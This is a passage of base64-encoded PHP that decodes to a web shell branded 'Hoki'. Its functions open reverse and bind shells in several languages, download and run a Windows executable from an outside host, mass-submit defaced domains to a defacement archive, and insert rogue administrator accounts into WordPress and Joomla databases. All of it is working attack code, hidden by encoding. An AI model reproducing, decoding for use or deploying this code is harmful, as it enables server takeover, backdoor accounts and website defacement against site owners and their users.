WT1Y4ZTQ5dW5sdUh5UzBiL2VjRFBwT2Y4RCI7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEJhY2sgQ29ubmVjdCB8PC9kaXY+PGJyPjxicj4iOwplY2hvICI8Zm9ybSBvblN1Ym1pdD1cImcoJ2Nvbm5lY3QnLG51bGwsdGhpcy5zZWxlY3RDYi52YWx1ZSx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5jYm1ldGhvZC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPgo8ZGl2IGNsYXNzPVwidHh0Zm9udFwiPk1laHRvZDo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdjYm1ldGhvZCcgb25DaGFuZ2U9J2N0bGJjKHRoaXMpOycgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+PG9wdGlvbiB2YWx1ZT0nYmFjayc+UmV2ZXJzZSBTaGVsbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JpbmQnPkJpbmQgUG9ydDwvb3B0aW9uPjwvc2VsZWN0PiA8ZGl2IGNsYXNzPVwidHh0Zm9udFwiPlVzZTo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdzZWxlY3RDYic+IjsKJGNiQXJyID0gYXJyYXkoInBocCI9PiJQaHAiLCJwZXJsIj0+IlBlcmwiLCJweXRob24iPT4iUHl0aG9uIiwicnVieSI9PiJSdWJ5IiwiYyI9PiJDIiwiamF2YSI9PiJKYXZhIiwibm9kZSI9PiJOb2RlSnMiLCJiY3dpbiI9PiJXaW5kb3dzIik7CmZvcmVhY2goJGNiQXJyIGFzICRrZXk9PiR2YWwpe2VjaG8oIjxvcHRpb24gdmFsdWU9J3ska2V5fScgIi4oJEdMT0JBTFNbJ3N5cyddPT0nd2luJz8nc2VsZWN0ZWQnOicnKS4iPnskdmFsfTwvb3B0aW9uPiIpO30KZWNobyAiPC9zZWxlY3Q+IDxkaXYgaWQ9J2JjaXBBY3Rpb24nIHN0eWxlPSdkaXNwbGF5OmlubGluZS1ibG9jazsnPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+SVA6PC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+PC9kaXY+IDxkaXYgY2xhc3M9XCJ0eHRmb250XCI+UG9ydDogPC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSc1JyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMjAxMic+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PHA+PGRpdiBpZD0nYmNTdGF0dXMnPjxzbWFsbD5SdW4gYCA8Zm9udCBjb2xvcj0ncmVkJz5uYyAtbCAtdiAtcCBwb3J0PC9mb250PiBgIG9uIHlvdXIgY29tcHV0ZXIgYW5kIHByZXNzIGAgPGZvbnQgY29sb3I9J3JlZCc+Pj48L2ZvbnQ+IGAgYnV0dG9uPC9zbWFsbD48L2Rpdj48L3A+PC9jZW50ZXI+PC9iPjwvZm9udD48YnI+IjsKaWYoaXNzZXQoJF9QT1NUWydob2tpMSddKSYmIWVtcHR5KCRfUE9TVFsnaG9raTEnXSkpewokbGFuZyA9ICRfUE9TVFsnaG9raTEnXTsKJGlwID0gJF9QT1NUWydob2tpMiddOwokcG9ydCA9ICRfUE9TVFsnaG9raTMnXTsKJGFyZyA9ICgkX1BPU1RbJ2hva2k0J109PSdiaW5kJz8kcG9ydDokcG9ydC4nICcuJGlwKTsKJHRtcGRpciA9IEhPS0lfVEVNUERJUjsKJG5hbWUgPSAkdG1wZGlyLicvJy4kbGFuZy51bmlxaWQoKS5yYW5kKDEsOTk5OTkpOwokYWxsb3cgPSBhcnJheSgncGVybCcsJ3J1YnknLCdweXRob24nLCdub2RlJyk7CmV2YWwoJyRsYW49JCcuJGxhbmcuJzsnKTsKaWYoaW5fYXJyYXkoJGxhbmcsJGFsbG93KSl7CmlmKF9fd3JpdGVfZmlsZSgkbmFtZSxfX2dldF9yZXNvdXJjZSgkbGFuKSkpewppZihfaG9raV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKJG9zID0gKCRHTE9CQUxTWydzeXMnXSE9J3dpbicpPycxPi9kZXYvbnVsbCAyPiYxICYnOicnOwokb3V0ID0gaG9raUV4KCIkbGFuZyAkbmFtZSAkYXJnICRvcyIpOwppZigkb3V0PT0nJyl7JG91dD0iPGZvbnQgY29sb3I9J2dyZWVuJz48Y2VudGVyPlsgRmluaXNoZWQuLi4hIF08L2NlbnRlcj48L2ZvbnQ+Ijt9CmVjaG8oIjxwcmUgY2xhc3M9J21sMScgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz57JG91dH08L3ByZT4iKTsKfQp9ZWxzZXsKZWNobygiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Zm9udCBjb2xvcj0ncmVkJz48Y2VudGVyPlsgRmFpbGVkLi4uISBdPC9jZW50ZXI+PC9mb250PjwvcHJlPiIpOwp9Cn0KaWYoJGxhbmc9PSdqYXZhJ3x8JGxhbmc9PSdjJyl7CiRjb2RlID0gX19nZXRfcmVzb3VyY2UoJGxhbik7CiRvdXQgPSBubDJicihiY2luaXQoJGxhbmcsICRjb2RlLCcnLCcnKSk7CmVjaG8oIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGNlbnRlcj57JG91dH08L2NlbnRlcj48L3ByZT4iKTsKfQppZigkbGFuZz09J2Jjd2luJyl7CiRob2tpID0gbmV3IEhva2lDVVJMKCk7CiRzID0gJGhva2ktPlNlbmQoJ2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vYmMvd2luZG93cy5leGUnKTsKJHRtcGRpciA9IEhPS0lfVEVNUERJUjsKJGYgPSBAZm9wZW4oJHRtcGRpci4nL2Jjd2luLmV4ZScsJ3crJyk7CkBmd3JpdGUoJGYsICRzKTsKQGZjbG9zZSgkZik7CiRvdXQgPSBob2tpRXgoJHRtcGRpci4iL2Jjd2luLmV4ZSAiLiRfUE9TVFsnaG9raTInXS4iICIuJF9QT1NUWydob2tpMyddKTsKfQppZigkbGFuZz09J3BocCcpewplY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiI7CiRjb2RlID0gX19nZXRfcmVzb3VyY2UoJGxhbik7CmlmKCRjb2RlIT09ZmFsc2UpewokY29kZSA9ICJcJHRhcmdldCA9IFwiIi4kYXJnLiJcIjtcbiIuJGNvZGU7CmV2YWwoJGNvZGUpOwplY2hvKCI8Y2VudGVyPjxmb250IGNvbG9yPSdncmVlbic+WyBGaW5pc2hlZC4uLiEgXTwvZm9udD48L2NlbnRlcj4iKTsKfQplY2hvICI8L3ByZT4iOwp9Cn0KZWNobyAiPC9kaXY+IjsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2l6b25laCgpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwppZighZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSl7CmVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+PGI+PGJpZz48YmlnPlBIUCBDVVJMIE5PVCBFWElTVCB+IFpPTkUgSCBNQVNTIFBPU1RFUiBET0VTIE5PVCBXT1JLPC9iPjwvZm9udD48L2JpZz48L2JpZz48L2NlbnRlcj48L3ByZT4iOwp9CiRoYWNrbW9kZSA9IGFycmF5KCdrbm93biB2dWxuZXJhYmlsaXR5IChpLmUuIHVucGF0Y2hlZCBzeXN0ZW0pJywndW5kaXNjbG9zZWQgKG5ldykgdnVsbmVyYWJpbGl0eScsJ2NvbmZpZ3VyYXRpb24gLyBhZG1pbi4gbWlzdGFrZScsJ2JydXRlIGZvcmNlIGF0dGFjaycsJ3NvY2lhbCBlbmdpbmVlcmluZycsJ1dlYiBTZXJ2ZXIgaW50cnVzaW9uJywnV2ViIFNlcnZlciBleHRlcm5hbCBtb2R1bGUgaW50cnVzaW9uJywnTWFpbCBTZXJ2ZXIgaW50cnVzaW9uJywnRlRQIFNlcnZlciBpbnRydXNpb24nLCdTU0ggU2VydmVyIGludHJ1c2lvbicsJ1RlbG5ldCBTZXJ2ZXIgaW50cnVzaW9uJywnUlBDIFNlcnZlciBpbnRydXNpb24nLCdTaGFyZXMgbWlzY29uZmlndXJhdGlvbicsJ090aGVyIFNlcnZlciBpbnRydXNpb24nLCdTUUwgSW5qZWN0aW9uJywnVVJMIFBvaXNvbmluZycsJ0ZpbGUgSW5jbHVzaW9uJywnT3RoZXIgV2ViIEFwcGxpY2F0aW9uIGJ1ZycsJ1JlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3MgYnJ1dGVmb3JjaW5nJywnUmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBwYXNzd29yZCBndWVzc2luZycsJ1JlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3Mgc29jaWFsIGVuZ2luZWVyaW5nJywnQXR0YWNrIGFnYWluc3QgYWRtaW5pc3RyYXRvcihwYXNzd29yZCBzdGVhbGluZy9zbmlmZmluZyknLCdBY2Nlc3MgY3JlZGVudGlhbHMgdGhyb3VnaCBNYW4gSW4gdGhlIE1pZGRsZSBhdHRhY2snLCdSZW1vdGUgc2VydmljZSBwYXNzd29yZCBndWVzc2luZycsJ1JlbW90ZSBzZXJ2aWNlIHBhc3N3b3JkIGJydXRlZm9yY2UnLCdSZXJvdXRpbmcgYWZ0ZXIgYXR0YWNraW5nIHRoZSBGaXJld2FsbCcsJ1Jlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIFJvdXRlcicsJ0ROUyBhdHRhY2sgdGhyb3VnaCBzb2NpYWwgZW5naW5lZXJpbmcnLCdETlMgYXR0YWNrIHRocm91Z2ggY2FjaGUgcG9pc29uaW5nJywnTm90IGF2YWlsYWJsZScsJ0Nyb3NzLVNpdGUgU2NyaXB0aW5nJyk7CiRyZWFzb24gPSBhcnJheSgnSGVoLi4uanVzdCBmb3IgZnVuIScsJ1JldmVuZ2UgYWdhaW5zdCB0aGF0IHdlYnNpdGUnLCdQb2xpdGljYWwgcmVhc29ucycsJ0FzIGEgY2hhbGxlbmdlJywnSSBqdXN0IHdhbnQgdG8gYmUgdGhlIGJlc3QgZGVmYWNlcicsJ1BhdHJpb3Rpc20nLCdOb3QgYXZhaWxhYmxlJyk7CmVjaG8gJwo8Y2VudGVyPjxicj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBab25lLWggTWFzcyBQb3N0ZXIgfDwvZGl2PjxjZW50ZXI+PGJyPgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0iZyhcJ3pvbmVoXCcsbnVsbCx0aGlzLmRlZmFjZXIudmFsdWUsdGhpcy5oYWNrbW9kZS52YWx1ZSx0aGlzLnJlYXNvbi52YWx1ZSx0aGlzLmRvbWFpbi52YWx1ZSxcJz4+XCcpOyByZXR1cm4gZmFsc2U7Ij4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlZmFjZXIiIHNpemU9IjY3IiBpZD0idGV4dCIgcGxhY2Vob2xkZXI9IkhPS0kgVEVhTSAyMDEyIiAvPgo8YnI+CjxzZWxlY3QgaWQ9InRleHQiIG5hbWU9ImhhY2ttb2RlIiBzdHlsZT0id2lkdGg6NDAwcHg7Ij4nOwokeD0xOwpmb3JlYWNoKCRoYWNrbW9kZSBhcyAkbW9kZSl7ZWNobygnPG9wdGlvbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKEYsIEYsIEYpOyIgdmFsdWU9IicuJHguJyI+Jy4kbW9kZS4nPC9vcHRpb24+Jyk7JHgrKzt9CmVjaG8gJzwvc2VsZWN0Pjxicj48c2VsZWN0IGlkPSJ0ZXh0IiBuYW1lPSJyZWFzb24iIHN0eWxlPSJ3aWR0aDoyMDBweDsiPic7CiR4PTE7CmZvcmVhY2goJHJlYXNvbiBhcyAkbW9kZSl7ZWNobygnPG9wdGlvbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKEYsIEYsIEYpOyIgdmFsdWU9IicuJHguJyI+Jy4kbW9kZS4nPC9vcHRpb24+Jyk7JHgrKzt9CmVjaG8gJzwvc2VsZWN0Pjxicj4KPHRleHRhcmVhIG5hbWU9ImRvbWFpbiIgY29scz0iOTAiIHJvd3M9IjIwIiBwbGFjZWhvbGRlcj0iRG9tYWlucy4uLiI+PC90ZXh0YXJlYT48YnI+CjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJnbyIgLz48L3A+CjwvZm9ybT48L2NlbnRlcj4nOwppZigkX1BPU1RbJ2hva2k1J10gJiYgJF9QT1NUWydob2tpNSddID09ICc+PicpewpvYl9zdGFydCgpOwokaGFja2VyID0gJF9QT1NUWydob2tpMSddOwokbWV0aG9kID0gJF9QT1NUWydob2tpMiddOwokbmVkZW4gPSAkX1BPU1RbJ2hva2kzJ107CiRzaXRlID0gJF9QT1NUWydob2tpNCddOwppZihlbXB0eSgkaGFja2VyKSl7CmRpZSAoX19wcmUoKS4iPGNlbnRlcj48Yj48Zm9udCBjb2xvciA9XCIjRkYwMDAwXCI+WytdIFlPVSBNVVNUIEZJTEwgVEhFIEFUVEFDS0VSIE5BTUUgWytdPC9mb250PjwvYj48L2NlbnRlcj4iKTsKfWVsc2VpZigkbWV0aG9kID09ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIil7CmRpZShfX3ByZSgpLiI8Y2VudGVyPjxiPjxmb250IGNvbG9yID1cIiNGRjAwMDBcIj5bK10gWU9VIE1VU1QgU0VMRUNUIFRIRSBNRVRIT0QgWytdPC9iPjwvZm9udD48L2NlbnRlcj4iKTsKfWVsc2VpZigkbmVkZW4gPT0gIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVNFTEVDVC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iKXsKZGllKF9fcHJlKCkuIjxjZW50ZXI+PGI+PGZvbnQgY29sb3IgPVwiI0ZGMDAwMFwiPlsrXSBZT1UgTVVTVCBTRUxFQ1QgVEhFIFJFQVNPTiBbK108L2I+PC9mb250PjwvY2VudGVyPiIpOwp9ZWxzZWlmKGVtcHR5KCRzaXRlKSl7CmRpZShfX3ByZSgpLiI8Y2VudGVyPjxiPjxmb250IGNvbG9yID1cIiNGRjAwMDBcIj5bK10gWU9VIE1VU1QgSU5URVIgVEhFIFNJVEVTIExJU1QgWytdPGZvbnQ+PC9iPjwvY2VudGVyPiIpOwp9CiRpID0gMDsKJHNpdGVzID0gZXhwbG9kZSgiXG4iLCAkc2l0ZSk7CiRob2tpID0gbmV3IEhva2lDVVJMKCk7CndoaWxlKCRpIDwgY291bnQoJHNpdGVzKSl7CmlmKHN1YnN0cigkc2l0ZXNbJGldLCAwLCA0KSAhPSAiaHR0cCIpewokc2l0ZXNbJGldID0gImh0dHA6Ly8iLiRzaXRlc1skaV07Cn0KJGhva2ktPlNlbmQoImh0dHA6Ly93d3cuem9uZS1oLmNvbS9ub3RpZnkvc2luZ2xlIiwicG9zdCIsImRlZmFjZXI9Ii4kaGFja2VyLiImZG9tYWluMT0iLiAkc2l0ZXNbJGldLiImaGFja21vZGU9Ii4kbWV0aG9kLiImcmVhc29uPSIuJG5lZGVuKTsKKyskaTsKfQplY2hvIF9fcHJlKCkuIjxjZW50ZXI+PGZvbnQgY29sb3IgPVwiIzAwQTIyMFwiPjxiPlsrXSBTZW5kaW5nIFNpdGVzIFRvIFpvbmUtSCBIYXMgQmVlbiBDb21wbGV0ZWQgU3VjY2Vzc2Z1bGx5ICEhIVsrXTwvYj48Zm9udD48L2NlbnRlcj4iOwp9CmVjaG8gIjwvZGl2PiI7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpcHdjaGFuZ2VyKCl7Cmhva2loZWFkKCk7CgplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxicj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBBZGQgTmV3IEFkbWluIHw8L2Rpdj4KPGNlbnRlcj48aDM+JzsKJHZhbHMgPSBhcnJheSgnV29yZFByZXNzJyA9PiBhcnJheSgnd3AnLDIpLCdKb29tbGEnID0+IGFycmF5KCdqb29tbGEnLDMpLCd2QnVsbGV0aW4nID0+IGFycmF5KCd2YicsNSksJ3BocEJCJyA9PiBhcnJheSgncGhwYmInLDYpLCdXSE1DUycgPT4gYXJyYXkoJ3dobWNzJyw3KSwnTXlCQicgPT4gYXJyYXkoJ215YmInLDgpLCdQaHAgTnVrZScgPT4gYXJyYXkoJ251a2UnLDkpLCdEcnVwYWwnID0+IGFycmF5KCdkcnVwYWwnLDEwKSwnU01GJyA9PiBhcnJheSgnc21mJywxMSkpOwpIb2tpX0NyZWF0ZV9BX1RhZygncHdjaGFuZ2VyJywkdmFscyk7CmVjaG8gJzwvaDM+PC9jZW50ZXI+JzsKaWYoaXNzZXQoJF9QT1NUWydob2tpMSddKSYmJF9QT1NUWydob2tpMSddPT0nd3AnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFdvcmRQcmVzcyB8PC9kaXY+CjxwPicuZ2V0Q29uZmlnSHRtbCgnd3AnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJ3dwXCcsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsJ2lkJz0+J2RiX2hvc3QnLCAnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJ3dwXycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ2toJywgJ2lucHV0VmFsdWUnID0+ICdraXNlcnlvdW5pJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ2tpc2VyeW91bmlAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT4nOwppZiAoJF9QT1NUWydob2tpMiddICYmICRfUE9TVFsnaG9raTInXSA9PSAnPj4nKXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnaG9raTMnXTsKJGRhdGFiYXNlID0gJF9QT1NUWydob2tpNCddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2hva2k1J107CiRwYXNzd29yZCA9ICRfUE9TVFsnaG9raTYnXTsKJGFkbWluID0gJF9QT1NUWydob2tpOCddOwokU1FMID0gJF9QT1NUWydob2tpOSddOwokcHJlZml4ID0gJF9QT1NUWydob2tpMTAnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJ1c2VycyAoSUQsdXNlcl9sb2dpbix1c2VyX3Bhc3MsdXNlcl9lbWFpbCkgdmFsdWVzKG51bGwsJyRhZG1pbicsJ2Q0YTU5MGNhYWNjMGJlNTVlZjI4NmU0MGE5NDVlYTQ1JywnJFNRTCcpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwoka2lzZXJ5b3VuaT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgSUQgZnJvbSAiLiRwcmVmaXguInVzZXJzIHdoZXJlIHVzZXJfbG9naW49JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwoka2lzZSA9IEBteXNxbGlfbnVtX3Jvd3MoJGtpc2VyeW91bmkpOwppZiAoJGtpc2UgPT0gMSl7CiRraXNldmlzID0gQG15c3FsaV9mZXRjaF9hc3NvYygka2lzZXJ5b3VuaSk7CiRyZXMgPSAka2lzZXZpc1snSUQnXTsKfQoka2lzZXJ5b3VuaT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJtZXRhICh1bWV0YV9pZCx1c2VyX2lkLG1ldGFfa2V5LG1ldGFfdmFsdWUpIHZhbHVlcyhudWxsLCciLiRyZXMuIicsJ2ZpcnN0X25hbWUnLCdraXNlcnlvdW5pJyksKG51bGwsJyIuJHJlcy4iJywnbGFzdF9uYW1lJywna2lzZXJ5b3VuaScpLChudWxsLCciLiRyZXMuIicsJ25pY2tuYW1lJywna2lzZXJ5b3VuaScpLChudWxsLCciLiRyZXMuIicsJ2Rlc2NyaXB0aW9uJywna2lzZXJ5b3VuaScpLChudWxsLCciLiRyZXMuIicsJ3JpY2hfZWRpdGluZycsJ3RydWUnKSwobnVsbCwnIi4kcmVzLiInLCdjb21tZW50X3Nob3J0Y3V0cycsJ2ZhbHNlJyksKG51bGwsJyIuJHJlcy4iJywnYWRtaW5fY29sb3InLCdmcmVzaCcpLChudWxsLCciLiRyZXMuIicsJ3VzZV9zc2wnLCcwJyksKG51bGwsJyIuJHJlcy4iJywnc2hvd19hZG1pbl9iYXJfZnJvbnQnLCd0cnVlJyksKG51bGwsJyIuJHJlcy4iJywnIi4kcHJlZml4LiJjYXBhYmlsaXRpZXMnLCdhOjE6e3M6MTM6XCJhZG1pbmlzdHJhdG9yXCI7YjoxO30nKSwobnVsbCwnIi4kcmVzLiInLCciLiRwcmVmaXguInVzZXJfbGV2ZWwnLCcxMCcpLChudWxsLCciLiRyZXMuIicsJ3Nob3dfd2VsY29tZV9wYW5lbCcsJzEnKSwobnVsbCwnIi4kcmVzLiInLCciLiRwcmVmaXguImRhc2hib2FyZF9xdWlja19wcmVzc19sYXN0X3Bvc3RfaWQnLCczJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRraXNlcnlvdW5pKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9Cn0KfQppZigkX1BPU1RbJ2hva2kyJ10gJiYgJF9QT1NUWydob2tpMiddID09ICdqb29tbGEnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEpvb21sYSB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCdqb29tbGEnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsXCdqb29tbGFcJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSxudWxsLHRoaXMuYWRtaW4udmFsdWUsdGhpcy5lbWFpbC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICdqb3NfJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdraXNlcnlvdW5pJywgJ2lucHV0U2l6ZScgPT4gJzUw